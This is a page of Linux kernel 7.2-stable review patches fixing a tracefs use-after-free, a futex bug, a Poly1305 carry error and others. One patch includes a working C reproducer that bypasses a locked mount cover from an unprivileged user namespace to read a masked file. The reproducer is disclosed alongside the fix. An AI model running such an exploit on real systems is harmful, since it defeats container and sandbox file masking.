BUG: KASAN: slab-use-after-free in tracefs_d_revalidate+0x76/0x90 Read of size 1 at addr ff1100010152d8d0 by task walker/97 Call Trace: <TASK> tracefs_d_revalidate+0x76/0x90 lookup_fast+0x320/0x640 path_lookupat+0x160/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 vfs_fstatat+0x4d/0x90 __do_sys_newfstatat+0xa0/0x100 do_syscall_64+0x10e/0x5e0 entry_SYSCALL_64_after_hwframe+0x77/0x7f [...] Allocated by task 1: __kmalloc_cache_noprof+0x249/0x560 eventfs_create_dir+0x7a/0x590 event_create_dir+0x2fb/0xcf0 trace_add_event_call+0xbf/0x150 [...] Freed by task 11: kfree+0x1db/0x5b0 srcu_invoke_callbacks+0x3a3/0x620 process_one_work+0x937/0x1810 worker_thread+0x4f1/0xd60
Before commit 8e556432477e ("eventfs: Use SRCU for freeing eventfs_inodes") release_ei() used call_rcu(), which covered the walker, while eventfs_iterate() needs the SRCU grace period. Wait for both and chain call_rcu() from the SRCU callback.
--- fs/tracefs/event_inode.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-)
fs/tracefs/event_inode.c +9 -1
@@ -91,6 +91,14 @@ static void free_ei_rcu(struct rcu_head } } +/* read under eventfs_srcu and, by tracefs_d_revalidate(), in rcu pathwalk */ +static void free_ei_srcu (struct rcu_head *rcu) +{ + struct eventfs_inode *ei = container_of(rcu, struct eventfs_inode, rcu); + +call_rcu (&ei->rcu, free_ei_rcu); +} +/* * eventfs_inode reference count management. *
@@ -112,7 +120,7 @@ static void release_ei(struct kref *ref) entry->release (entry->name, ei->data); } -call_srcu (&eventfs_srcu, &ei->rcu, free_ei_rcu); +call_srcu (&eventfs_srcu, &ei->rcu, free_ei_srcu); }static inline void put_ei (struct eventfs_inode *ei)
Greg Kroah-Hartman
maintainerPATCH 116/242 ipc: drop the mqueue mount with kern_unmount() on setup failure
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit f0e48172a59e517e613b73f73cc35f24fd123aeb upstream.
mq_init_ns() creates the mqueue mount with fc_mount_longterm(), so its ->mnt_ns is MNT_NS_INTERNAL. When setting up the mqueue or ipc sysctls or msg_init_ns() fails afterwards, create_ipc_ns() drops it with a plain mntput(). With ->mnt_ns set that takes the fast path of mntput_no_expire(). The count drops to zero and nothing ever kills the mount, so the mount and the mqueue superblock are leaked.
Commit dc55e35f9e81 ("ipc: Store mqueue sysctls in the ipc namespace") added the first failure path after mq_init_ns() and never dropped the mount. Commit 7229d74e5e8c ("ipc: create_ipc_ns: drop mqueue mount on sysctl setup failure") tried to fix that with a mntput() but that doesn't help for a long-term mount.
Use kern_unmount(). free_ipc() open-codes the same thing for a namespace that made it.
--- ipc/namespace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
ipc/namespace.c +1 -1
@@ -96,7 +96,7 @@ fail_ipc: fail_mq_sysctls:retire_mq_sysctls (ns); fail_mq_mount: -mntput (ns->mq_mnt); +kern_unmount (ns->mq_mnt); fail_put:put_user_ns (ns->user_ns);ns_common_free (ns);
Greg Kroah-Hartman
maintainerPATCH 117/242 ntfs3: free the sbi after a grace period
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit c01b091b06412d3b1b53d8c2925f6de586c8a2fc upstream.
If the "nocase" mount option ntfs3 uses custom hash and dentry compare functions. Both access ntfs3 superblock private information in rcu pathwalk. ntfs_put_super() and ntfs3_kill_sb() drop the info without any rcu delay. A lookup that's still inside the filesystem when the last reference to the mount is dropped causes a UAF. With a pathwalk held up in ntfs_d_hash() while the last reference to the mount goes away:
BUG: KASAN: slab-use-after-free in ntfs_nls_to_utf16+0x752/0x940 Read of size 8 at addr ff1100010453c850 by task walker/99 Call Trace: <TASK> ntfs_nls_to_utf16+0x752/0x940 ntfs_d_hash+0x22b/0x500 link_path_walk+0x11ad/0x1d30 path_lookupat+0x63/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 [...] Allocated by task 95: __kmalloc_cache_noprof+0x249/0x560 ntfs_init_fs_context+0x2db/0x5a0 alloc_fs_context+0x52e/0xc70 [...] Freed by task 98: kfree+0x1db/0x5b0 deactivate_locked_super+0x9c/0xf0 cleanup_mnt+0x9f/0x130 task_work_run+0x131/0x250
The bug is currently masked by the grace period in namespace_unlock() for umount(2). Keep the necessary information until the filesystem private info is freed and free it with an rcu delay.
ntfs3_free_sbi() now runs from an rcu callback and drops the upcase table via ntfs_put_shared(). So switch s_shared_lock over to spin_lock_bh(). Otherwise the callback can deadlock against a task holding the lock on the same cpu.
--- fs/ntfs3/ntfs_fs.h | 1 + fs/ntfs3/super.c | 33 +++++++++++++++++++++------------ 2 files changed, 22 insertions(+), 12 deletions(-)
fs/ntfs3/ntfs_fs.h +1 -0
@@ -210,6 +210,7 @@ struct ntfs_index {/* Ntfs file system in-core superblock data. */ struct ntfs_sb_info {struct super_block *sb; +struct rcu_head rcu;u32 discard_granularity;u64 discard_granularity_mask_inv;// ~(discard_granularity_mask_inv-1)
fs/ntfs3/super.c +21 -12
@@ -195,7 +195,7 @@ void *ntfs_set_shared(void *ptr, u32 bytvoid *ret =NULL ;int i, j =-1 ; -spin_lock (&s_shared_lock); +spin_lock_bh (&s_shared_lock);for (i =0 ; i <ARRAY_SIZE (s_shared); i++) {if (!s_shared[i].cnt) { j = i;
@@ -213,7 +213,7 @@ void *ntfs_set_shared(void *ptr, u32 byt s_shared[j].cnt =1 ; ret = ptr; } -spin_unlock (&s_shared_lock); +spin_unlock_bh (&s_shared_lock);return ret; }
@@ -230,7 +230,7 @@ void *ntfs_put_shared(void *ptr)void *ret = ptr;int i; -spin_lock (&s_shared_lock); +spin_lock_bh (&s_shared_lock);for (i =0 ; i <ARRAY_SIZE (s_shared); i++) {if (s_shared[i].cnt && s_shared[i].ptr == ptr) {if (--s_shared[i].cnt)
@@ -238,7 +238,7 @@ void *ntfs_put_shared(void *ptr)break ; } } -spin_unlock (&s_shared_lock); +spin_unlock_bh (&s_shared_lock);return ret; }
@@ -697,6 +697,8 @@ static noinline void ntfs3_put_sbi(strucstatic void ntfs3_free_sbi (struct ntfs_sb_info *sbi) { +if (sbi->options) +put_mount_options (sbi->options);kfree (sbi->new_rec);kvfree (ntfs_put_shared (sbi->upcase));kvfree (sbi->def_table);
@@ -708,6 +710,11 @@ static void ntfs3_free_sbi(struct ntfs_skfree (sbi); } +static void ntfs3_free_sbi_rcu (struct rcu_head *head) +{ +ntfs3_free_sbi (container_of(head ,struct ntfs_sb_info ,rcu )); +} +static void ntfs_put_super (struct super_block *sb) {struct ntfs_sb_info *sbi = sb->s_fs_info;
@@ -717,11 +724,11 @@ static void ntfs_put_super(struct super_/* Mark rw ntfs as clear, if possible. */ ntfs_set_state (sbi,NTFS_DIRTY_CLEAR ); -if (sbi->options) { -put_mount_options (sbi->options); - sbi->options =NULL ; - } - +/* +* The mount options stay until the sbi is freed: ->d_hash() and +* ->d_compare() of a pathwalk in rcu mode read the nls table through +* them. +*/ ntfs3_put_sbi (sbi); }
@@ -1923,9 +1930,11 @@ static void ntfs3_kill_sb(struct super_bkill_block_super (sb); -if (sbi->options) -put_mount_options (sbi->options); -ntfs3_free_sbi (sbi); +/* +* A pathwalk in rcu mode may still be in ->d_hash() or ->d_compare() +* and read the upcase table and the nls table through the sbi. +*/ +call_rcu (&sbi->rcu, ntfs3_free_sbi_rcu); }// clang-format off
Greg Kroah-Hartman
maintainerPATCH 118/242 namespace: a mount that copy_tree() leaves out cant take over a lock
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit 69fbe94f80bc423613fa18dae6656757423732a2 upstream.
Since commit c62a4766937e ("move_mount: transfer MNT_LOCKED") a mount can be moved beneath a locked mount. The lock moves from the old cover to the new mount which takes over the job of hiding what's under it and the old cover can be unmounted. That works as long as the new mount stays. But the caller picks the new mount and copy_tree() leaves a mount of a mount namespace file out of every copy made without CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make such copies.
So a task that is root in its own user namespace gets rid of a locked cover on a file without a race and without touching the filesystem below it. It makes a child with a mount namespace of its own, binds the child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH, which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The new mount namespace has nothing on the file. That's the usual way to mask a single file, a bind of /dev/null or of an empty file. With a bind of an ordinary file the file stays covered.
copy_tree() already refuses to leave out a locked unbindable mount with -EPERM since commit df7342b24018 ("mount: Don't allow copying MNT_UNBINDABLE|MNT_LOCKED mounts"). Do the same for a locked mount of a mount namespace file. That also covers a tree copied with CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS) and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from then on. The mount can't be left out and it can't be unmounted.
And refuse to move a mount of a mount namespace file beneath a locked mount in the first place. Otherwise the task ends up with a mount it can't unmount and an unshare() that fails for good.
Chris also found a second mount that goes away by itself, a clone of an automounted mount that shrink_submounts() took along with its parent. Commit f78ddcc87224 ("namespace: never expire a locked mount") took care of that one.
Chris's reproducer is appended. Mode nsfile reads SECRET after the unshare() on 7.3-rc7, with this patch the move_mount() fails with EINVAL and the file stays covered. nsfile-control uses an ordinary file and reads MASK both ways.
// SPDX-License-Identifier: GPL-2.0
/*
* Get rid of a locked cover with MOVE_MOUNT_BENEATH. *
* The "admin" (root) makes a tmpfs W:
* W/D file, holds SECRET, covered by a bind of a file with MASK * W/Dd/inner file, holds SECRET, Dd is covered by a bind of a directory * whose "inner" holds MASK * W/own directory of uid 1000 with the file "mine" and the * directory "minedir", whose "inner" holds MINE * W/dbg debugfs, mode 755. dbg/tracing is an automount point * The "attacker" is uid 1000. It enters a new user namespace with a new mount * namespace, so W and both covers are locked there. * * usage: prog MODE * plain put a bind of own/mine beneath the cover of D, unmount the cover * nsfile put a bind of the mount namespace file of a child beneath the * cover of D, then unshare(CLONE_NEWNS)
* nsfile-control the same with a bind of own/mine
* shrink put a bind of the automounted tracefs beneath the cover of Dd,
* unmount the cover, put a tmpfs beneath W, call umount(W), which fails
* shrink-control the same with a bind of own/minedir
* The environment variable AUTOMOUNT_DIR names another automount point for "shrink". */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#ifndef MOVE_MOUNT_BENEATH
#define MOVE_MOUNT_BENEATH 0x00000200
#endif
#define W "/run/x2"
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
exit(2);
}
static void put_file(const char *name, const char *content)
{
int fd = open(name, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0 || write(fd, content, strlen(content)) < 0)
die(name);
close(fd);
}
static void show(const char *path)
{
char buf[32] = "";
int fd = open(path, O_RDONLY);
if (fd < 0) {
printf("attacker: open(%s) = %s\n", path, strerror(errno));
return;
}
if (read(fd, buf, sizeof(buf) - 1) < 0)
snprintf(buf, sizeof(buf), "<%s>", strerror(errno));
close(fd);
printf("attacker: read(%s) = \"%s\"%s\n", path, buf,
strncmp(buf, "SECRET", 6) ? "" : " <-- HIT");
}
static int say(const char *what, int ret)
{
printf("attacker: %s: %s\n", what, ret ? strerror(errno) : "ok");
return ret;
}
static void write_str(const char *path, const char *s)
{
int fd = open(path, O_WRONLY);
if (fd < 0 || write(fd, s, strlen(s)) < 0)
die(path);
close(fd);
}
static void mounts(void)
{
if (system("grep x2 /proc/self/mountinfo"))
printf("attacker: no mounts listed\n");
}
static void admin_setup(void)
{
if (unshare(CLONE_NEWNS) || mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL))
die("unshare");
mkdir(W, 0755);
if (mount("W", W, "tmpfs", 0, "mode=755"))
die("mount W");
if (mkdir(W "/Dd", 0755) || mkdir(W "/maskdir", 0755) || mkdir(W "/dbg", 0755) ||
mkdir(W "/own", 0755) || mkdir(W "/own/minedir", 0755))
die("mkdir");
put_file(W "/D", "SECRET");
put_file(W "/Dd/inner", "SECRET");
put_file(W "/mask", "MASK");
put_file(W "/maskdir/inner", "MASK");
put_file(W "/own/mine", "MINE");
put_file(W "/own/minedir/inner", "MINE");
if (mount(W "/mask", W "/D", NULL, MS_BIND, NULL) ||
mount(W "/maskdir", W "/Dd", NULL, MS_BIND, NULL))
die("covers");
if (mount("dbg", W "/dbg", "debugfs", 0, "mode=755"))
die("mount debugfs");
}
static void become_attacker(void)
{
if (setgroups(0, NULL) || setresgid(1000, 1000, 1000) ||
setresuid(1000, 1000, 1000) || prctl(PR_SET_DUMPABLE, 1))
die("drop to uid 1000");
if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
die("unshare user and mount namespace");
write_str("/proc/self/setgroups", "deny");
write_str("/proc/self/uid_map", "0 1000 1");
write_str("/proc/self/gid_map", "0 1000 1");
}
/* clone the mount at @src and put the clone beneath the top mount at @where */
static int beneath(const char *src, const char *where)
{
char what[128];
int fd = open_tree(AT_FDCWD, src, OPEN_TREE_CLONE | OPEN_TREE_CLOEXEC);
int ret;
snprintf(what, sizeof(what), "open_tree(%s, OPEN_TREE_CLONE)", src);
if (say(what, fd < 0))
return -1;
ret = move_mount(fd, "", AT_FDCWD, where,
MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH);
snprintf(what, sizeof(what), "move_mount(clone, %s, MOVE_MOUNT_BENEATH)", where);
say(what, ret);
close(fd);
return ret;
}
static void do_nsfile(int control)
{
char path[64] = W "/own/mine";
int pfd[2];
pid_t pid;
char c;
if (pipe(pfd))
die("pipe");
pid = fork();
if (pid < 0)
die("fork");
if (!pid) {
if (unshare(CLONE_NEWNS) || write(pfd[1], "g", 1) != 1)
die("child");
pause();
exit(0);
}
if (read(pfd[0], &c, 1) != 1)
die("sync");
if (!control)
snprintf(path, sizeof(path), "/proc/%d/ns/mnt", pid);
beneath(path, W "/D");
mounts();
say("unshare(CLONE_NEWNS)", unshare(CLONE_NEWNS));
show(W "/D");
mounts();
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
}
static void do_shrink(int control)
{
const char *automount = getenv("AUTOMOUNT_DIR");
int fd, mfd;
if (!automount)
automount = W "/dbg/tracing";
beneath(control ? W "/own/minedir" : automount, W "/Dd");
say("umount2(Dd, 0), the old cover", umount2(W "/Dd", 0));
say("umount2(Dd, 0), the mount that was put beneath", umount2(W "/Dd", 0));
show(W "/Dd/inner");
say("umount2(W, 0)", umount2(W, 0));
fd = fsopen("tmpfs", FSOPEN_CLOEXEC);
if (fd < 0 || fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0))
die("fsopen tmpfs");
mfd = fsmount(fd, FSMOUNT_CLOEXEC, 0);
if (mfd < 0)
die("fsmount");
say("move_mount(new tmpfs, W, MOVE_MOUNT_BENEATH)",
move_mount(mfd, "", AT_FDCWD, W, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH));
close(mfd);
mounts();
say("umount2(W, 0)", umount2(W, 0));
show(W "/Dd/inner");
mounts();
}
int main(int argc, char **argv)
{
const char *mode = argc > 1 ? argv[1] : "plain";
setvbuf(stdout, NULL, _IOLBF, 0);
admin_setup();
become_attacker();
show(W "/D");
show(W "/Dd/inner");
say("umount2(D, MNT_DETACH)", umount2(W "/D", MNT_DETACH));
say("umount2(Dd, MNT_DETACH)", umount2(W "/Dd", MNT_DETACH));
if (!strcmp(mode, "plain")) {
beneath(W "/own/mine", W "/D");
show(W "/D");
say("umount2(D, MNT_DETACH), the old cover", umount2(W "/D", MNT_DETACH));
show(W "/D");
say("umount2(D, MNT_DETACH), the mount that was put beneath",
umount2(W "/D", MNT_DETACH));
show(W "/D");
mounts();
} else if (!strncmp(mode, "nsfile", 6)) {
do_nsfile(!strcmp(mode, "nsfile-control"));
} else {
do_shrink(!strcmp(mode, "shrink-control"));
}
return 0;
}--- fs/namespace.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-)
fs/namespace.c +17 -2
@@ -2221,6 +2221,11 @@ struct mount *copy_tree(struct mount *sr }if (!(flag &CL_COPY_MNT_NS_FILE ) &&is_mnt_ns_file (src_mnt->mnt.mnt_root)) { +if (src_mnt->mnt.mnt_flags &MNT_LOCKED ) { +/* Both a mount namespace file and locked. */ + dst_mnt =ERR_PTR (-EPERM ); + goto out; + } src_mnt =skip_mnt_tree (src_mnt);continue ; }
@@ -3607,8 +3612,9 @@ static bool mount_is_ancestor(const stru* @mnt_to: mount under which to mount * @mp: mountpoint of @mnt_to * -* - Make sure that the caller can unmount the topmost mount ensuring -* that the caller could reveal the underlying mountpoint. +* - Make sure that @mnt_from can take over the lock of @mnt_to. A +* mount of a mount namespace file is left out of a copy of the tree +* and can't. * - Ensure that nothing has been mounted on top of @mnt_from before we * grabbed @namespace_sem to avoid creating pointless shadow mounts. * - Prevent mounting beneath a mount if the propagation relationship
@@ -3624,6 +3630,15 @@ static int can_move_mount_beneath(const {struct mount *parent_mnt_to = mnt_to->mnt_parent; +/* +* @mnt_from takes over the lock of @mnt_to. copy_tree() leaves a +* mount of a mount namespace file out of every copy made without +* CL_COPY_MNT_NS_FILE, together with what is mounted on it, so it +* can't keep anything hidden. +*/ +if (IS_MNT_LOCKED (mnt_to) &&is_mnt_ns_file (mnt_from->mnt.mnt_root)) +return -EINVAL ; +/* Avoid creating shadow mounts during mount propagation. */ if (mnt_from->overmount)return -EINVAL ;
Greg Kroah-Hartman
maintainerPATCH 119/242 namei: test for a negative dentry the way traverse_mounts() does
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
commit 98b6cf102b35b2bb48d1fd74d5f664eb66fe83eb upstream.
lookup_fast_for_open() only hands an O_CREAT open a cached dentry if it's positive. Otherwise the open goes on to lookup_open(), which takes the directory lock and creates the file. It tests for that with !dentry->d_inode, but traverse_mounts() later decides with the type in d_flags. And when a dentry is instantiated __d_set_inode_and_type() stores ->d_inode first and only then releases the type into ->d_flags.
So a refwalk that took its reference to a negative dentry right before another task instantiates it can find ->d_inode already set in lookup_fast_for_open(), go on to step_into(), and still find the negative type in traverse_mounts(). The open then fails with -ENOENT, which an O_CREAT open must never do. rcuwalk doesn't get that far, the d_seq check in step_into() catches the instantiation.
Use d_is_negative() so both look at the type. While the type is still negative the open takes lookup_open() and waits for the directory lock like any other O_CREAT open of a negative dentry.
On its own the window is a couple of instructions in the creating task, so it takes an interrupt or a preempted vcpu in exactly the right spot. I haven't caught it without help in about 600 million racing O_CREAT opens.
The debug patch below stalls the creating task between the two stores for names starting with "ocrace", the way an interrupt landing there would. The reproducer below opens "ocrace" with O_CREAT through symlinks on a strictatime tmpfs: following them updates their atime, which drops the walk out of rcuwalk, so the name is always looked up in refwalk. With
echo 20 > /proc/sys/fs/ocrace_instantiate_us
./ocreat_enoent -t 60
on a KASAN kernel open() failed with -ENOENT 43 times in 4.9 million calls. With this patch it never failed in 4.8 million calls. Tracing step_into_slowpath() during such a run, each of the 98 -ENOENTs it returned came right after the same task had entered it with a dentry that was still typed negative.
// SPDX-License-Identifier: GPL-2.0 /* * ocreat_enoent: open(O_CREAT) racing the creation of the same name. * * Writers unlink "ocrace" and create it again. Readers open it with * O_CREAT through a symlink of their own on a strictatime tmpfs. * Following the symlink updates its atime, which drops the walk out of * rcu mode, so the name is always looked up in refwalk. An O_CREAT open * must never fail with ENOENT. * * -p arms a cpu-clock perf timer with that period in ns on every writer, * so that interrupts land at random points in it. * * usage: ocreat_enoent [-t secs] [-w writers] [-r readers] [-p ns] */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdatomic.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/syscall.h> #include <unistd.h> #include <linux/perf_event.h> #define DIR "/tmp/oc"
static atomic_int stop;
static atomic_long opens, creates, enoent, other; static long period;
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
exit(2);
}
static void *writer(void *arg)
{
(void)arg;
if (period) {
struct perf_event_attr attr = {
.type = PERF_TYPE_SOFTWARE,
.size = sizeof(attr),
.config = PERF_COUNT_SW_CPU_CLOCK,
.sample_period = period,
};
if (syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0) < 0)
die("perf_event_open");
}
while (!atomic_load(&stop)) {
int fd;
unlink(DIR "/ocrace");
fd = open(DIR "/ocrace", O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (fd >= 0)
close(fd);
atomic_fetch_add(&creates, 1);
}
return NULL;
}
static void *reader(void *arg)
{
char lnk[64];
snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", (long)arg);
while (!atomic_load(&stop)) {
int fd = open(lnk, O_CREAT | O_RDWR | O_CLOEXEC, 0644);
if (fd >= 0)
close(fd);
else if (errno == ENOENT)
atomic_fetch_add(&enoent, 1);
else
atomic_fetch_add(&other, 1);
atomic_fetch_add(&opens, 1);
}
return NULL;
}
int main(int argc, char **argv)
{
int secs = 60, nw = 4, nr = 12, c, n = 0;
pthread_t t[256];
while ((c = getopt(argc, argv, "t:w:r:p:")) != -1) {
switch (c) {
case 't': secs = atoi(optarg); break;
case 'w': nw = atoi(optarg); break;
case 'r': nr = atoi(optarg); break;
case 'p': period = atol(optarg); break;
default: return 2;
}
}
if (nw + nr > 256)
return 2;
mkdir(DIR, 0755);
if (mount("oc", DIR, "tmpfs", MS_STRICTATIME, "mode=0755"))
die("tmpfs");
for (long i = 0; i < nr; i++) {
char lnk[64];
snprintf(lnk, sizeof(lnk), DIR "/lnk.%ld", i);
if (symlink("ocrace", lnk))
die("symlink");
}
for (long i = 0; i < nw; i++)
if (pthread_create(&t[n++], NULL, writer, NULL))
die("writer");
for (long i = 0; i < nr; i++)
if (pthread_create(&t[n++], NULL, reader, (void *)i))
die("reader");
sleep(secs);
atomic_store(&stop, 1);
for (int i = 0; i < n; i++)
pthread_join(t[i], NULL);
printf("%ds: %ld opens, %ld creates, ENOENT %ld, other errors %ld\n",
secs, atomic_load(&opens), atomic_load(&creates),
atomic_load(&enoent), atomic_load(&other));
umount2(DIR, MNT_DETACH);
return atomic_load(&enoent) ? 1 : 0;
}# diff --git a/fs/dcache.c b/fs/dcache.c # --- a/fs/dcache.c # +++ b/fs/dcache.c # @@ -32,9 +32,13 @@ # #include <linux/bit_spinlock.h> # #include <linux/rculist_bl.h> # #include <linux/list_lru.h>
# +#include <linux/delay.h>
# #include "internal.h"
# #include "mount.h"
#
# +/* debug: stall "ocrace*" names between ->d_inode and the type */ # +static int sysctl_ocrace_instantiate_us; # +
# #include <asm/runtime-const.h>
#
# /*
# @@ -200,6 +204,13 @@
# }
#
# static const struct ctl_table fs_dcache_sysctls[] = {
# + {
# + .procname = "ocrace_instantiate_us",
# + .data = &sysctl_ocrace_instantiate_us,
# + .maxlen = sizeof(int),
# + .mode = 0644,
# + .proc_handler = proc_dointvec,
# + },
# {
# .procname = "dentry-state",
# .data = &dentry_stat,# @@ -405,6 +416,10 @@
# unsigned flags;
#
# dentry->d_inode = inode;
# + /* debug: an interrupt landing right here */ # + if (unlikely(READ_ONCE(sysctl_ocrace_instantiate_us)) && # + !strncmp(dentry->d_name.name, "ocrace", 6)) # + udelay(READ_ONCE(sysctl_ocrace_instantiate_us)); # flags = READ_ONCE(dentry->d_flags); # flags &= ~DCACHE_ENTRY_TYPE; # flags |= type_flags;
--- fs/namei.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-)
fs/namei.c +1 -2
@@ -4576,8 +4576,7 @@ static struct dentry *lookup_fast_for_opreturn dentry;if (open_flag &O_CREAT ) { -/* Discard negative dentries. Need inode_lock to do the create */ -if (!dentry->d_inode) { +if (d_is_negative (dentry)) {if (!(nd->flags &LOOKUP_RCU ))dput (dentry); dentry =NULL ;
Greg Kroah-Hartman
maintainerPATCH 120/242 futex: Fix mm reuse handling for FUT_OFF_MMSHARED
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <[email protected]>
commit 3267512ad1c2cc0c7768c5b014dc2cceb398a801 upstream.
A FUT_OFF_MMSHARED futex is a shared futex that refers to an MM. It is possible for a process to wait on a shared futex with a different MM because a FUT_OFF_INODE waiter can be requeued onto a FUT_OFF_MMSHARED futex by another process.
This can cause FUT_OFF_MMSHARED waiters on a freed MM to consume wakeups intended for a newly allocated MM at the same address.
Fix it by keying FUT_OFF_MMSHARED using a unique 64-bit per-MM ID. Leave private futexes as before to avoid influencing the performance of the hotpath.
(Multi-threaded processes typically implicitly use FUT_OFF_MMSHARED by setting clear_child_tid such that it points into anonymous memory, which causes mm_release() in a multi-threaded mm to perform FUTEX_WAKE.)
--- include/linux/futex.h | 19 +++++++++------- include/linux/futex_types.h | 2 + kernel/futex/core.c | 51 ++++++++++++++++++++++++-------------------- 3 files changed, 41 insertions(+), 31 deletions(-)
include/linux/futex.h +11 -8
@@ -23,28 +23,32 @@ struct task_struct;* 01 : Shared futex (PTHREAD_PROCESS_SHARED) * mapped on a file (reference on the underlying inode) * 10 : Shared futex (PTHREAD_PROCESS_SHARED) -* (but private mapping on an mm, and reference taken on it) +* (but private mapping on an mm) */ -#define FUT_OFF_INODE 1/* We set bit 0 if key has a reference on inode */ -#define FUT_OFF_MMSHARED 2/* We set bit 1 if key has a reference on mm */ +#define FUT_OFF_INODE 1/* We set bit 0 if shared key identifies an inode */ +#define FUT_OFF_MMSHARED 2/* We set bit 1 if shared key identifies an mm */ union futex_key { +/* For FUT_OFF_INODE */ struct {u64 i_seq;unsigned long pgoff;unsigned int offset;/* unsigned int node; */ } shared; + +/* For FUT_OFF_MMSHARED or private */ struct {union { -struct mm_struct *mm; -u64 __tmp; +struct mm_struct *mm;/* for private */ +u64 mm_seq;/* for FUT_OFF_MMSHARED */ };unsigned long address;unsigned int offset;/* unsigned int node; */ } private; +struct {u64 ptr;unsigned long word;
@@ -154,11 +158,10 @@ static inline void futex_set_vdso_cs_ranstatic inline void futex_fixup_robust_unlock (struct pt_regs *regs) { }#endif /* !CONFIG_FUTEX_ROBUST_UNLOCK */ - -#if defined(CONFIG_FUTEX_PRIVATE_HASH ) || defined(CONFIG_FUTEX_ROBUST_UNLOCK ) +#ifdef CONFIG_FUTEX void futex_mm_init (struct mm_struct *mm);#else static inline void futex_mm_init (struct mm_struct *mm) { } -#endif +#endif /* !CONFIG_FUTEX */ #endif /* _LINUX_FUTEX_H */
include/linux/futex_types.h +2 -0
@@ -85,10 +85,12 @@ struct futex_unlock_cs_ranges { };* struct futex_mm_data - Futex related per MM data * @phash: Futex private hash related data * @unlock: Futex unlock VDSO critical sections +* @unique_id: Unique ID of the MM, for FUT_OFF_MMSHARED futexes */ struct futex_mm_data {struct futex_mm_phash phash;struct futex_unlock_cs_ranges unlock; +atomic64_t unique_id; };#else /* CONFIG_FUTEX */ struct futex_sched_data { };
kernel/futex/core.c +28 -23
94 lines not on this page · raw message
Greg Kroah-Hartman
maintainerPATCH 121/242 lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jérémy Jean <[email protected]>
commit 24f07e8c07a0c0dd275331cbb41c79a78741eef9 upstream.
When poly1305_blocks_neon() resumes from a base 2^26 accumulator and the next update contains an odd number of full 16-byte blocks, it processes one leading block through poly1305_mult() so that the remaining NEON work has an even block count. That requires converting the accumulator to the base 2^64 form used by poly1305_mult(). The final ADC of that conversion stores the carry into d2, but the following accumulation and poly1305_mult() use h2. If the conversion carries across bit 128, the carry is dropped and the emitted tag is wrong.
This was introduced by Cryptogams commit 03dc4adf91c8 ("arm/poly1305-armv*.pl: optimize branches."), which removed the reduction that consumed d2 shortly before Linux imported the code. OpenSSL's copy did not take that change.
The carry is possible because the NEON code stores the accumulator [h0, h1, h2, h3, h4] in a lazily reduced, redundant base 2^26 form: its final carry chain leaves h0, h2, h3 < 2^26, but h1 and h4 may slightly exceed 2^26 - 1. For example, the reachable state
h0 = 4
h1 = 2^26
h2 = 2^26 - 1
h3 = 2^26 - 1
h4 = 2^24 - 1
represents 4 + 2^26*2^26 + (2^26-1)*2^52 + (2^26-1)*2^78 + (2^24-1)*2^104 = 2^128 + 4, despite the bit representing the 2^128 term (bit 24 of h4) not being set; the extra comes from the h1 limb being above the normal base 2^26 range. When this value is converted into the non-redundant base 2^64 form, a carry into the new 2^128 bit (in bit 0 of h2) is necessary to preserve the value.
Given the above bounds, a carry into bit 128 happens exactly when h1 >= 2^26, h2 = h3 = 2^26 - 1, and h4 mod 2^24 = 2^24 - 1.
Store the carry into h2, matching the other base 2^26 to base 2^64 conversions in poly1305_blocks() and poly1305_emit().
This bug causes an incorrect tag to be emitted. However, this is unlikely to happen in practice where Poly1305 is used with a random key, since the random key tends to distribute the accumulator values throughout their valid range. There isn't an obvious way for an attacker without knowledge of the r_key to cause [h0, h1, h2, h3, h4] to land on the precise values where this bug occurs.
[EB: Rewrote the commit message to more clearly describe the bug and
its impact, and simplified explanation about why there's a carry bit.]
--- lib/crypto/arm64/poly1305-armv8.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
